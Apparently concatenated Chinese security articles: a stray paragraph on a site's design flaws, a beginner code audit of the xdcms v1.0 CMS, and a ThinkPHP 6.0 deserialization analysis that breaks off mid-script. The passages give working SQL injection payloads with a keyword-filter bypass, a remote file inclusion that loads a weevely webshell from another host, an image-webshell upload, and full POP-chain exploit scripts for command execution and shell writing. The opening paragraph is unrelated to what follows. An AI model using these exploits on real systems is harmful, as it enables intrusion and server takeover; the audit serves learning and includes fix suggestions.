所以很明显,这个网站的整体结构设计存在着大量的问题。在存储数据的过程中,没有对数据进行加密处理,而且密钥的数据类型也不应该为“变量”。如果由于其他的原因,密钥必须为变量的话,那么系统就应该对这些值进行安全检测,以确保用户的输入不会触发这个漏洞。当我们回头来分析一下这个问题时,我们会发现这个漏洞实际上并不是什么非常严重的问题,不仅微不足道,而且还有些愚蠢。但是开发人员往往会忽略这些问题,这也就给攻击者提供了可乘之机。我承认,我在实际的项目开发过程中同样没有第一时间发现这个问题,但是如果我没有发现这个问题,在这个项目上线并投入使用之后,将会引起非常严重的后果。 | 社区文章 |
# 代码审计新手入门——xdcms_v1.0
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
对xdcms的一次审计练习，萌新入坑必备
## 前言
大家好，我是kn0sky，这次整了一个以前的小CMS进行练手，xdcms，版本: v1.0，
这个CMS虽然有点老，但是用来新手入门练手倒是挺不错的，在这里，你可以接触学习到多种sql语句的SQL注入漏洞，多种文件操作漏洞等等……
审计的思路是：
1. 先大概浏览一下源代码，看看代码的逻辑大概是怎么运行的，找找关键的文件
2. 然后按照功能点进行测试
环境准备：
* windows 7 虚拟机
* xdcms_v1.0源码
* PHPStudy: PHP 5.2.17 + MySQL 5.7.26 (因为这个CMS太老了，选新版本的PHP容易出问题)
废话不多说，直接开始吧
## 审计开始
通读代码的时候注意了！ **不要直接拿到源码就去读！**
我们需要先在虚拟机的phpstudy上把xdcms部署好，访问虚拟机IP进入xdcms的安装，安装完之后， **注意啦**
，这个时候把安装完成后的源码复制出来，用这个源码进行审计！
因为啊，有些文件啊，是在你安装完CMS之后才会出现的，拿安装之前的CMS去审计，会有些东西找不到的
文件目录如图所示：
到此，我们可以正式开始代码审计啦
### 大概浏览网站源代码
通过跟读index.php文件（这个CMS的index.php里面文件包含里又是文件包含，一层又一层），跟读到`/system/function/fun.inc.php`文件，这里面开始就是网站的功能和内容了
浏览目录，不难发现：网站的主要功能应该都在system目录中了
system目录下：
* function目录里装的都是网站的功能的函数
* libs目录里装的都是各种功能的类
* module目录里装的也是不同页面的功能的函数
uploadfile目录：
* 应该跟文件上传有关
api目录下：
* index文件有个文件包含和两个安全过滤函数
data目录下：
* config.inc.php文件为数据库配置信息文件，这个文件就是安装完成之后才生成出来的
到这里，我们来整理一下现有的信息：
- 数据库采用GBK编码，可能存在宽字节注入
- 网站的主要功能在system目录下
- api目录下的index可能存在文件包含漏洞
- 网站的功能是通过访问index.php的GET参数m，c，f来选择的，m是文件夹，c是文件，f是函数调用，比如后台的m=xdcms
接下来直接开始测试吧
### 按功能点进行测试
按照正常用户的使用流程先来走一遍看看，这里的注册功能存在IP地址伪造，不过没啥用，就跳过吧，这里的注册页面只有注册，登录两个选择，连个找回密码都没有
注册好用户之后，进入普通用户的后台看看
#### 普通用户会员中心存在多处SQL注入漏洞
这个页面除了`我的订单`，`资料管理`，`修改密码`，`信息管理`这四个功能之外，其他功能都用不了
那就一个一个点点看看吧
打开我心爱的小burp
点击资料管理后，请求地址为index.php,请求参数为m=member,f=edit，我们跟着index.php去看看这两个参数是做啥的
跟着跟着就到了/system/function/global.inc.php文件，我们来看一下相关代码：
//接收参数
$m=safe_replace(isset($_GET["m"])) ? safe_replace($_GET["m"]) : "content";
$c=safe_replace(isset($_GET["c"])) ? safe_replace($_GET["c"]) : "index";
$f=safe_replace(isset($_GET["f"])) ? safe_replace($_GET["f"]) : "init";
include MOD_PATH.$m."/".$c.".php"; //调用类
$p=new $c(); //实例化
$p->$f(); //调用方法
大概意思就是文件包含module目录下的member目录，调用edit()方法
public function edit(){
$this->member_info(0);
$gourl=$_GET['gourl'];
$userid=$_COOKIE['member_userid'];
$info=$this->mysql->get_one("select * from ".DB_PRE."member where `userid`=$userid");
$input=base::load_class('input');
$field=base::load_cache("cache_field_member","_field");
$fields="";
foreach($field as $value){
$fields.="<tr>n";
$fields.="<td align="right" valign="top"><span class="tdl">".$value['name']."：</span></td>";
$fields.="<td>".$input->$value['formtype']($value['field'],$info[$value['field']],$value['width'],$value['height'],$value['initial'])." ".$value['explain']."</td>n";
$fields.="</tr>n";
}
assign('gourl',$gourl);
assign('member',$info);
assign("fields",$fields);
template("member/edit");
}
这里的变量userid从cookie获取值没有经过过滤就带入到sql的查询语句了，还是int型的注入:
构造cookie中的member_userid为`4 and 1=2`，可以发现这里的用户信息都消失了
由此可判断验证这里存在sql注入漏洞
也可以丢到sqlmap里跑一下,开了一堆工具，电脑太卡了我就不演示了
除了这里存在SQL注入漏洞，这个界面还有几个地方也存在同样的SQL注入漏洞，产生漏洞的原因都是因为没有过滤从GET请求中获得的member_userid的值
分别是同个功能文件下的`edit_save()`、`password_save()`
到这里，会员中心已经测试完成了，继续下一个功能
**修复建议：**
* 使用intval对userid参数进行过滤
#### 网站API存在文件包含漏洞
普通用户能点的功能真没几个，看看API目录的index.php还真会有收获
源码如下：
从GET请求中获得两个参数c和f，c是要调用类的php文件名，下面直接就用c变量带入文件包含了
如果是调用本地php文件，直接输入目录加文件名即可直接调用，如果调用的文件后缀不是php：可以进行00截断
如果php配置文件打开GPC（`magic_quotes_gpc`）的话，用00截断会不成功（00截断的条件：PHP版本小于5.3，GPC没有开启）
**如果目标的php配置开启了allow_url_include**
那我们就能进行远程文件包含，各种马，安排
我图个简单，用weevely生成了一个，然后远程文件包含webshell
kn0sky@audit-Lab ~/ $ weevely "http://127.0.0.1:28000/api/index.php?c=http://192.168.2.222/wee.php?" knkn0
/home/kn0sky/App/weevely3/core/sessions.py:219: YAMLLoadWarning: calling yaml.load() without Loader=... is deprecated, as the default Loader is unsafe. Please read https://msg.pyyaml.org/load for full details.
sessiondb = yaml.load(open(dbpath, 'r').read())
[+] weevely 3.7.0
[+] Target: 127.0.0.1:28000:C:phpstudy_proWWWxdcms.comapi
[+] Session: /home/kn0sky/.weevely/sessions/127.0.0.1/index_0.session
[+] Shell: System shell
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely>
127.0.0.1:28000:C:phpstudy_proWWWxdcms.comapi $ :system_info
[-][channel] The remote script execution triggers an error 500, check script and payload integrity
[-][channel] The remote script execution triggers an error 500, check script and payload integrity
+--------------------+-----------------------------------+
| client_ip | 192.168.77.2 |
| max_execution_time | 300 |
| script | /api/index.php |
| open_basedir | |
| hostname | |
| php_self | /api/index.php |
| script_folder | http://192.168.2.222 |
| uname | Windows NT K0-PC 6.1 build 7600 |
| pwd | C:phpstudy_proWWWxdcms.comapi |
| safe_mode | False |
| php_version | 5.2.17 |
| dir_sep | |
| os | Windows NT |
| whoami | |
| document_root | C:/phpstudy_pro/WWW/xdcms.com |
+--------------------+-----------------------------------+
127.0.0.1:28000:C:phpstudy_proWWWxdcms.comapi $
要是不能远程文件包含，如果有文件上传的地方，可以从这里本地文件包含个图片马去getshell
**修复建议：**
* 可能的话，不要开启allow_url_include
* 尽量避免目录跳转，过滤 `../`
接下来，该用管理员登录网站了
#### 管理员后台上传图片+本地文件包含组合漏洞
后台地址：http://<IP>/index.php?m=xdcms&c=login
默认管理员账号密码：`xdcms:xdcms`
管理员后台在系统设置，网站配置的基本信息那里，可以上传网站logo
这里的上传有个后端的图片后缀名检测：
//判断上传是文件还是图片
$type=isset($_GET['type'])?(int)$_GET['type']:0;
$size=500000;
$folder='image';
$allowed=array( 'gif', 'jpg', 'jpeg', 'png' );
图片文件名检测：
if ( $this->make_script_safe ){
if ( preg_match( "/.(cgi|pl|js|asp|php|html|htm|jsp|jar)(.|$)/i"$FILE_NAME ) ){
$FILE_TYPE = 'text/plain';
$this->file_extension = 'txt';
$this->parsed_file_name = preg_replace( "/.(cgi|pl|js|asp|php|html|htm|jsp|jar)(.|$)/i", "$2", $this->parsed_file_name );
$renamed = 1;
}
}
图片文件类型检测：
if ( $this->image_check ){
$img_attributes = @getimagesize( $this->saved_upload_name );
然后还有个文件名修改
这里可以用GIF89A绕过上传png后缀的php脚本
可能是这个cms实在太老了，源码拿来直接运行还是出现了一些问题
上传完图片之后，应该是要回显上传的位置的，可能是出了什么问题，前端这一块我不太懂
去看服务器上传文件的文件夹：
文件确实上传成功了
位置是：`/uploadfile/image/20191114/201911141058530.png`
这个图片的内容是：
GIF89A
<?PHP phpinfo();?>
我们去结合刚才的本地文件包含试一试
利用成功
这里可以利用上传图片马来获取shell
**修复建议：**
* 上传的对图片进行二次渲染或压缩处理
#### 管理员后台网站信息设置处存在二次漏洞
刚看到这里的时候，这里的网站地址:`http://127.0.0.5`我很好奇是干嘛的，因为它现在写的是127.0.0.5而网站的ip与这个无关，去翻翻源码看看这玩意是干嘛的
if($tag=='config'){
//判断url是否以/结尾
$urlnum=strlen($info['siteurl'])-1;
if(substr($info['siteurl'],$urlnum,1)!="/"){
showmsg(C("update_url_error"),"-1");
}//end
$cms=SYS_PATH.'xdcms.inc.php'; //生成xdcms配置文件
$cmsurl="<?phpn define('CMS_URL','".$info['siteurl']."');n define('TP_FOLDER','".$info['template']."');n define('TP_CACHE',".$info['caching'].");n?>";
creat_inc($cms,$cmsurl);
点击保存后，网站获取siteurl没有经过过滤，就拼接到cmsurl字符串变量里去了，然后根据这个cmsurl生成配置文件
配置文件：
<?php
define('CMS_URL','http://127.0.0.5/');
define('TP_FOLDER','dccms');
define('TP_CACHE',false);
?>
这里我们可以构造siteurl：
hello');?><?php phpinfo();?>
点击保存后，我们去查看一下该配置文件：
<?php
define('CMS_URL','hello');?><?php phpinfo();?>';
define('TP_FOLDER','dccms');
define('TP_CACHE',false);
?>
这里的配置文件内容生成外部参数可控，导致了可直接getshell
访问该配置文件页面：`http://ip/system/xdcms.inc.php`
**修复建议：**
* 不要用这种方式直接修改配置文件
#### 管理员后台模板功能处存在任意文件读取漏洞
后台看了看好像也没啥问题了，通过查看这个CMS相关文章得知，这个CMS有的功能有，但是不再后台页面里
例如/system/module/xdcms/template.php文件的edit功能
public function edit(){
$filename=$_GET['file'];
$file=TP_PATH.TP_FOLDER."/".$filename;
if(!$fp=@fopen($file,'r+')){
showmsg(C('open_template_error'),'-1');
}
flock($fp,LOCK_EX);
$str=@fread($fp,filesize($file));
flock($fp,LOCK_UN);
fclose($fp);
assign('filename',$filename);
assign('content',$str);
template('template_edit','admin');
}
构造如下url即可查看到指定文件
http://IP/index.php?m=xdcms&c=template&f=edit&file=../../../data/config.inc.php
当然，这需要管理员身份登录才能进行
**修复建议：**
* 限制目录跳转
#### 管理员后台栏目管理存在SQL注入漏洞
果然还是直接去读源码比较方便
这里的源码如下：
public function add_save(){
$config=base::load_cache("cache_set_config","_config");
$catname=$_POST['catname'];
$catdir=$_POST['catdir'];
$thumb=$_POST['thumb'];
$is_link=intval($_POST['is_link']);
$url=safe_replace($_POST['url']);
$model=$_POST['model'];
$sort=intval($_POST['sort']);
$is_show=intval($_POST['is_show']);
$parentid=intval($_POST['parentid']);
$is_target=intval($_POST['is_target']);
$is_html=intval($_POST['is_html']);
$template_cate=$_POST['template_cate'];
$template_list=$_POST['template_list'];
$template_show=$_POST['template_show'];
$seo_title=$_POST['seo_title'];
$seo_key=$_POST['seo_key'];
$seo_des=$_POST['seo_des'];
$modelid=modelid($model);
if(empty($catname)||empty($catdir)||empty($model)){
showmsg(C('material_not_complete'),'-1');
}
if(!check_str($catdir,'/^[a-z0-9][a-z0-9]*$/')){
showmsg(C('catdir').C('numbers_and_letters'),'-1');
}
if($is_html==1){
if($config['createhtml']!=1){
showmsg(C('config_html_error'),'index.php?m=xdcms&c=setting');
}
}
$nums=$this->mysql->db_num("category","catdir='".$catdir."'");
if($nums>0){
showmsg(C('catdir_exist'),'-1');
}
$sql="insert into ".DB_PRE."category (catname,catdir,thumb,is_link,url,model,modelid,sort,is_show,is_target,is_html,template_cate,template_list,parentid,template_show,seo_title,seo_key,seo_des) values ('".$catname."','".$catdir."','".$thumb."','".$is_link."','".$url."','".$model."','".$modelid."','".$sort."','".$is_show."','".$is_target."','".$is_html."','".$template_cate."','".$template_list."','".$parentid."','".$template_show."','".$seo_title."','".$seo_key."','".$seo_des."')";
$this->mysql->query($sql);
$catid=$this->mysql->insert_id();
if($is_link==0){//生成url
$ob_url=base::load_class("url");
$url=$ob_url->caturl($catid,$catdir,$is_html);
$this->mysql->db_update("category","`url`='".$url."'","`catid`=".$catid);
}
$this->category_cache();
showmsg(C('add_success'),'-1');
}
这里有一大堆参数没有任何过滤就直接带入sql语句进行插入了，此处可进行SQL注入
在参数中加个单引号之后提交：
报错啦！直接报错注入即可
构造如下payload进行报错注入：
seo_des=haha' or updatexml(1,(concat(0x7e,(select version()),0x7e)),1) or '
**修复建议：**
* 对输入的参数进行过滤
#### 管理员后台内容管理处存在SQL注入漏洞
出现问题的函数依然是add_save()，先来看代码：
public function add_save(){
$title=safe_html($_POST['title']);
$commend=intval($_POST['commend']);
$username=safe_html($_POST['username']);
$thumb=$_POST['thumb'];
$keywords=safe_html($_POST['keywords']);
$description=safe_html($_POST['description']);
$inputtime=datetime();
$updatetime=strtotime($_POST['updatetime']);
$url=$_POST['url'];
$catid=intval($_POST['catid']);
$userid=$_SESSION['admin_id'];
$fields=$_POST['fields'];
$style=$_POST['title_color']." ".$_POST['title_weight'];
//此处省略验证数据存在的部分
//添加content
$sql="insert into ".DB_PRE."content(title,commend,username,thumb,keywords,description,inputtime,updatetime,url,catid,userid,hits,style) values('{$title}','{$commend}','{$username}','{$thumb}','{$keywords}','{$description}','{$inputtime}','{$updatetime}','{$url}','{$catid}','{$userid}',0,'{$style}')";
$this->mysql->query($sql);
$last_id=$this->mysql->insert_id();
依然是一堆参数从POST提交上来没有经过任何过滤就进行了INSERT INTO操作
构造title：
AASD' or (select updatexml(1,(concat(0x7e,(select version()),0x7e)),1)) or'
即可进行报错注入
**修复建议：**
* 对输入的参数进行过滤
#### 管理员后台数据库管理页面存在任意目录删除漏洞
地址为：`http://ip/index.php?m=xdcms&c=data&f=delete&file=`
这个功能原本是删除备份文件夹的，但是可以通过../进行目录跳转来删除任意文件夹
源码如下：
public function delete(){
$file=trim($_GET["file"]);
$dir=DATA_PATH.'backup/'.$file;
if(is_dir($dir)){
//删除文件夹中的文件
if (false != ($handle = opendir ( $dir ))) {
while ( false !== ($file = readdir ( $handle )) ) {
if ($file != "." && $file != ".."&&strpos($file,".")) {
@unlink($dir."/".$file);
}
}
closedir ( $handle );
}
@rmdir($dir);//删除目录
}
showmsg(C('success'),'-1');
}
通过GET参数file获取目录名，然后进行判断是否是目录，如果是，则删除目录下的文件再删除目录，如果不是，直接返回 `success`
我们在网站主目录下创建个文件夹123：
然后点击删除操作之后，在Burp中拦截修改：
发送后，我们再来看看网站根目录：
刚刚创建的123目录，没有啦！
**修复建议：**
* 禁止目录跳转，过滤`../`
#### 管理员后台关键词管理页面存在SQL注入漏洞
这里又是一个后台管理页面访问不到的地方，通过输入url：`http://ip/index.php?m=xdcms&c=keywords&f=edit&id=1`才能访问
从这里开始，终于遇到了带有安全过滤防御机制的漏洞
我们先来看源码：
public function editsave(){
$id=isset($_POST['id'])?intval($_POST['id']):0;
$title=safe_html($_POST['title']);
$url=safe_html($_POST['url']);
if(empty($title)||empty($url)||empty($id)){
showmsg(C('material_not_complete'),'-1');
}
$this->mysql->db_update('keywords',"`title`='".$title."',`url`='".$url."'",'`id`='.$id);
$this->keywords_cache();
showmsg(C('update_success'),'-1');
}
这里的title参数和url参数被safe_html过滤了，我们来看看这个过滤是怎么回事：
//安全过滤函数
function safe_html($str){
if(empty($str)){return;}
$str=preg_replace('/select|insert | update | and | in | on | left | joins | delete |%|=|/*|*|../|./| union | from | where | group | into |load_file
|outfile/','',$str);
return htmlspecialchars($str);
}
这里进行了黑名单过滤，过滤sql注入常用关键字，将关键字替换为空，这显然很不靠谱嘛
通过双写即可绕过：
Burp拦截，构造payload，发送请求：
url=http://' or (sselectelect updatexml(2,concat(0x7e,(version())),0)) or '
成功绕过安全过滤，成功注入！
**修复建议：**
* 对输入的参数进行过滤
#### 后台联动菜单管理处存在SQL注入漏洞
源码如下：
public function add_save(){
$name=$_POST['name'];
$parentid=isset($_POST['parentid'])?intval($_POST['parentid']):0;
if(empty($name)){
showmsg(C('material_not_complete'),'-1');
}
if($parentid!=0){
$keyid=$this->get_parentid($parentid);
}else{
$keyid=0;
}
$sql="insert into ".DB_PRE."linkage (name,parentid,keyid) values ('".$name."','".$parentid."','".$keyid."')";
$this->mysql->query($sql);
showmsg(C('add_success'),'-1');
}
无过滤获取参数name，直接带入insert into语句中进行插入操作
构造payload如下：
name=lalala' or (select updatexml(2,concat(0x7e,(version())),0)) or '
即可报错注入
这个CMS的SQL注入漏洞可谓是多到不行，这里头还有大量漏洞出现原因相同的SQL注入漏洞
这里就不多啰嗦了，
练习到这里，想必对UPDATE，INSERT INTO，SELECT三种SQL语句的SQL注入有了一定掌握，接下来看点不一样的
#### 网站安装页面存在全局变量覆盖漏洞
在网站的/install/index.php中开头有如下代码
foreach(Array('_GET','_POST','_COOKIE') as $_request){
foreach($$_request as $_k => $_v) ${$_k} = _runmagicquotes($_v);
}
function _runmagicquotes(&$svar){
if(!get_magic_quotes_gpc()){
if( is_array($svar) ){
foreach($svar as $_k => $_v) $svar[$_k] = _runmagicquotes($_v);
}else{
$svar = addslashes($svar);
}
}
return $svar;
}
if(file_exists($insLockfile)){
exit(" 程序已运行安装，如果你确定要重新安装，请先从FTP中删除 install/install_lock.txt！");
}
遍历传入的参数对数组进行赋值
然后传入$insLockfile来判断程序是否安装
如果我们在访问这个页面的时候直接在GET参数中加上`?insLockfile=xyz`(反正是一个不存在的文件名就行)则可直接进入安装
**修复建议：**
* 通过其他方式来检测系统是否已安装
## 总结
该CMS没有使用框架，非常适合新手入门练习使用，当然，存在的漏洞不仅仅有这些，有兴趣的童鞋可以接着去探索，如果你觉得我文章中有什么需要进行改进的地方，欢迎随时与我联系。
最后，非常谢谢大家花费了时间阅读本人的文章，谢谢大家 | 社区文章 |
# Thinkphp 6.0 反序列化漏洞分析
## ThinkPHP目录结构：
project 应用部署目录
├─application 应用目录（可设置）
│ ├─common 公共模块目录（可更改）
│ ├─index 模块目录(可更改)
│ │ ├─config.php 模块配置文件
│ │ ├─common.php 模块函数文件
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录
│ │ ├─view 视图目录
│ │ └─ ... 更多类库目录
│ ├─command.php 命令行工具配置文件
│ ├─common.php 应用公共（函数）文件
│ ├─config.php 应用（公共）配置文件
│ ├─database.php 数据库配置文件
│ ├─tags.php 应用行为扩展定义文件
│ └─route.php 路由配置文件
├─extend 扩展类库目录（可定义）
├─public WEB 部署目录（对外访问目录）
│ ├─static 静态资源存放目录(css,js,image)
│ ├─index.php 应用入口文件
│ ├─router.php 快速测试文件
│ └─.htaccess 用于 apache 的重写
├─runtime 应用的运行时目录（可写，可设置）
├─vendor 第三方类库目录（Composer）
├─thinkphp 框架系统目录
│ ├─lang 语言包目录
│ ├─library 框架核心类库目录
│ │ ├─think Think 类库包目录
│ │ └─traits 系统 Traits 目录
│ ├─tpl 系统模板目录
│ ├─.htaccess 用于 apache 的重写
│ ├─.travis.yml CI 定义文件
│ ├─base.php 基础定义文件
│ ├─composer.json composer 定义文件
│ ├─console.php 控制台入口文件
│ ├─convention.php 惯例配置文件
│ ├─helper.php 助手函数文件（可选）
│ ├─LICENSE.txt 授权说明文件
│ ├─phpunit.xml 单元测试配置文件
│ ├─README.md README 文件
│ └─start.php 框架引导文件
├─build.php 自动生成定义文件（参考）
├─composer.json composer 定义文件
├─LICENSE.txt 授权说明文件
├─README.md README 文件
├─think 命令行入口文件
控制器写法：
控制器文件通常放在`application/module/controller`下面，类名和文件名保持大小写一致，并采用驼峰命名（首字母大写）。
一个典型的控制器类定义如下：
<?php
namespace app\index\controller;
use think\Controller;
class Index extends Controller
{
public function index()
{
return 'index';
}
}
控制器类文件的实际位置是
application\index\controller\Index.php
一个例子：
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V' . \think\facade\App::version() . '<br/><span style="font-size:30px;">14载初心不改 - 你值得信赖的PHP框架</span></p><span style="font-size:25px;">[ V6.0 版本由 <a href="https://www.yisu.com/" target="yisu">亿速云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ee9b1aa918103c4fc"></think>';
}
public function backdoor($command)
{
system($command);
}
}
想进入后门，需要访问：
http://ip/index.php/Index/backdoor/?command=ls
所以写一个漏洞利用点：
控制器，`app/home/contorller/index.php`
<?php
namespace app\home\controller;
use think\facade\Db;
class Index extends Base
{
public function index()
{
return view('index');
}
public function payload(){
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Welcome to TP6.0";
}
}
## POP1
入口：`/vendor/topthink/think-orm/src/Model.php`
让`$this->lazySave==True`，跟进：
想要进入`updateData`方法，需要满足一些条件：
让第一个`if`里面一个条件为真才能不直接`return`，也即需要两个条件：
$this->isEmpty()==false
$this->trigger('BeforeWrite')==true
其中isEmpty()：
public function isEmpty(): bool
{
return empty($this->data);
}
让`$this->data!=null`即可满足第一个条件。再看`trigger('BeforeWrite')`，位于`ModelEvent`类中：
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}
.....
}
让`$this->withEvent==false`即可满足第二个条件，
然后需要让`$this->exists=true`，这样才能执行`updateData`，
跟进`updateData()`，
想要执行`checkAllwoFields`方法需要绕过前面的两个 if 判断，必须满足两个条件：
$this->trigger('BeforeUpdate')==true
$data!=null
第一个条件上面已经满足，现在看第二个条件`$data`，查看`$data`是怎么来的，跟进`getChangedData`方法，`src/model/concern/Attribute.php`
因为`$force`没定义默认为 null
，所以进入`array_udiff_assoc`，由于`$this->data`和`$this->origin`默认也为`null`，所以不符合第一个`if`判断，最终`$data=0`，也即满足前面所提的第二个条件，`$data!=null`。
然后查看 checkAllowFields 方法调用情况。
我们想进入字符拼接操作，就需要进入`else`，所以要让`$this->field=null`，`$this->schema=null`，进入下面
这里存在可控属性的字符拼接，所以可以找一个有`__tostring`方法的类做跳板，寻找`__tostring`，
`src/model/concern/Conversion.php`，
进入`toJson`方法，
我们想要执行的就是`getAttr`方法，触发条件：
`$this->visible[$key]`需要存在，而`$key`来自`$data`的键名，`$data`又来自`$this->data`，即`$this->data`必须有一个键名传给`$this->visible`，然后把键名`$key`传给`getAttr`方法，
跟进`getAttr`方法，`vendor/topthink/think-orm/src/model/concern/Attribute.php`
跟进`getData`方法，
跟进`getRealFieldName`方法，
当`$this->strict`为`true`时直接返回`$name`，即键名`$key`
返回`getData`方法，此时`$fieldName=$key`，进入`if`语句，返回`$this->data[$key]`，再回到`getAttr`方法，
return $this->getValue($name, $value, $relation);
即返回
return $this->getValue($name, $this->data[$key], $relation);
跟进`getValue`方法，
如果我们让`$closure`为我们想执行的函数名，`$value`和`$this->data`为参数即可实现任意函数执行。
所以需要查看`$closure`属性是否可控，跟进`getRealFieldName`方法，
如果让`$this->strict==true`，即可让`$$fieldName`等于传入的参数`$name`，即开始的`$this->data[$key]`的键值`$key`，可控
又因为`$this->withAttr`数组可控，所以，`$closure`可控·，值为`$this->withAttr[$key]`，参数就是`$this->data`，即`$data`的键值，
所以我们需要控制的参数：
$this->data不为空
$this->lazySave == true
$this->withEvent == false
$this->exists == true
$this->force == true
这里还需要注意，`Model`是抽象类，不能实例化。所以要想利用，得找出 `Model` 类的一个子类进行实例化，这里可以用 `Pivot`
类（位于\vendor\topthink\think-orm\src\model\Pivot.php中）进行利用。
所以构造exp：
<?php
namespace think{
abstract class Model{
use model\concern\Attribute; //因为要使用里面的属性
private $lazySave;
private $exists;
private $data=[];
private $withAttr = [];
public function __construct($obj){
$this->lazySave = True;
$this->withEvent = false;
$this->exists = true;
$this->table = $obj;
$this->data = ['key'=>'dir'];
$this->visible = ["key"=>1];
$this->withAttr = ['key'=>'system'];
}
}
}
namespace think\model\concern{
trait Attribute
{
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
}
$a = new Pivot('');
$b = new Pivot($a);
echo urlencode(serialize($b));
}
## POP2
入口：`vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php`
让`$autosave = false`，
因为`AbstractCache`为抽象类，所以需要找一下它的子类，`/vendor/topthink/framework/src/think/filesystem/CacheStore.php`，因为里面实现了`save`方法，
继续跟进`getForStorage`，
跟进`cleanContents`方法，
只要不是嵌套数组，就可以直接`return`回来，返回到`json_encode`，他返回`json`格式数据后，再回到`save`方法的`set`方法，
因为`$this->store`可控，我们可以调用任意类的`set`方法，如果该类没用`set`方法，所以可能触发`__call`。当然也有可能自身的`set`方法就可以利用，找到可利用`set`方法，`src/think/cache/driver/File.php`，
跟进`getCacheKey`，这里其实就是为了查看进入该方法是否出现错误或者直接`return`了，
所以这里`$this->option['hash_type']`不能为空，然后进入`serialize`方法，`src/think/cache/Driver.php`，
这里发现`options`可控，如果我们将其赋值为`system`，那么`return`的就是我们命令执行函数，`$data`我们是可以传入的，那就可以RCE，回溯`$data`是如何传入的，即`save`方法传入的`$contents`，但是`$contents`是经过了`json_encode`处理后的`json`格式数据，那有什么函数可以出来`json`格式数据呢？经过测试发现`system`可以利用：
链子如下：
/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php::__destruct()
/vendor/topthink/framework/src/think/filesystem/CacheStore.php::save()
/vendor/topthink/framework/src/think/cache/driver.php::set()
/vendor/topthink/framework/src/think/cache/driver.php::serialize()
exp如下：
<?php
namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache
{
protected $autosave = false;
protected $complete = "`id`";
}
}
namespace think\filesystem{
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache
{
protected $key = "1";
protected $store;
public function __construct($store="")
{
$this->store = $store;
}
}
}
namespace think\cache{
abstract class Driver
{
protected $options = [
'expire' => 0,
'cache_subdir' => true,
'prefix' => '',
'path' => '',
'hash_type' => 'md5',
'data_compress' => false,
'tag_prefix' => 'tag:',
'serialize' => ['system'],
];
}
}
namespace think\cache\driver{
use think\cache\Driver;
class File extends Driver{}
}
namespace{
$file = new think\cache\driver\File();
$cache = new think\filesystem\CacheStore($file);
echo urlencode(serialize($cache));
}
?>
但是没有回显，但是能够反弹 shell ，
## POP3
这里其实和 POP2 一样，只是最终利用点发生了些许变化，调用关系还是一样：
/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php::__destruct()
/vendor/topthink/framework/src/think/filesystem/CacheStore.php::save()
/vendor/topthink/framework/src/think/cache/driver.php::set()
/vendor/topthink/framework/src/think/cache/driver.php::serialize()
POP2 是利用的控制`serialize`函数来RCE，但下面还存在一个`file_put_contents($filename,
$data)`函数，我们也可以利用它来写入 shell，
我们还是需要去查看文件名是否可控，进入`getCacheKey`方法，
可以发现我们可以控制文件名，而且可以在`$this->options['path']`添加伪协议，再看写入数据`$data`是否可控呢，可以看到存在一个`exit`方法来限制我们操作，可以伪协议`filter`可以绕过它，可参考我博客的分析`https://woshilnp.github.io/2021/05/23/%E8%AF%A6%E8%A7%A3php-filter%E4%BB%A5%E5%8F%8A%E6%AD%BB%E4%BA%A1%E7%BB%95%E8%BF%87/`
所以文件名和内容都可控，exp：
<?php
namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache
{
protected $autosave = false;
protected $complete = "aaaPD9waHAgcGhwaW5mbygpOw==";
}
}
namespace think\filesystem{
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache
{
protected $key = "1";
protected $store;
public function __construct($store="")
{
$this->store = $store;
}
}
}
namespace think\cache{
abstract class Driver
{
protected $options = ["serialize"=>["trim"],"expire"=>1,"prefix"=>0,"hash_type"=>"md5","cache_subdir"=>0,"path"=>"php://filter/write=convert.base64-decode/resource=","data_compress"=>0];
}
}
namespace think\cache\driver{
use think\cache\Driver;
class File extends Driver{}
}
namespace{
$file = new think\cache\driver\File();
$cache = new think\filesystem\CacheStore($file);
echo urlencode(serialize($cache));
}
?>
成功写入
## POP4
入口：`League\Flysystem\Cached\Storage\AbstractCache`，
因为`AbstractCache`为抽象类，所以需要找一下它的子类，`src/Storage/Adapter.php`
让`$autosave = false`即可进入`save`方法，
有一个`write`方法，`$content`为`getForStorage`方法返回值，上文已分析该参数可控，所以可以用来写马。
所以我们需要找一个有`has`方法和`write`方法的对象利用，`src/Adapter/Local.php`
`has()`方法用来判断文件是否已存在，只需要构建文件名不存在即可，进入`write`方法，
这里可以执行`file_put_contents()`，写入`shell`，跟进`applyPathPrefix`方法，
然后`getPathPrefix`方法返回的是该类的一个属性，因为默认为NULL，所以`file_put_contents`第一个参数就是`$path`变量，回溯该变量，也即是`Adapter`类中的`$file`属性，所以让`$file`属性为文件名，所以文件名`$file`可控，文件内容`$contents`可控，所以写入`shell`，exp：
<?php
namespace League\Flysystem\Cached\Storage;
abstract class AbstractCache
{
protected $autosave = false;
protected $cache = ['<?php phpinfo();?>'];
}
namespace League\Flysystem\Cached\Storage;
class Adapter extends AbstractCache
{
protected $adapter;
protected $file;
public function __construct($obj)
{
$this->adapter = $obj;
$this->file = 'w0s1np.php';
}
}
namespace League\Flysystem\Adapter;
abstract class AbstractAdapter
{
}
namespace League\Flysystem\Adapter;
